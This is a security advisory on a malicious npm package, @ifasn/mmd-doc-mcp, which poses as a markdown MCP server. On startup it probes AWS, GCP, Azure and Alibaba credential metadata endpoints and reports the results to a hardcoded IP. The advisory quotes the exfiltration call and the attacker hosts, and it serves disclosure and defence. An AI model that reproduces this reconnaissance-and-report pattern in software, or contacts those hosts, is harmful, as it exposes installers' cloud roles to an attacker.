MAL-2026-18488

    Dashboard / Malicious Package / MAL-2026-18488

    MAL-2026-18488

    Published: 2 Nov 2026Last Modified: 2 Nov 2026

    Summary: Malicious code in @ifasn/mmd-doc-mcp (npm)

    Details: Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7) On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(","))` to `TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码,不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.

    Affected packages

    Package

    Name: @ifasn/mmd-doc-mcp

    Purl: pkg:npm/%40ifasn/mmd-doc-mcp

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    1.0.2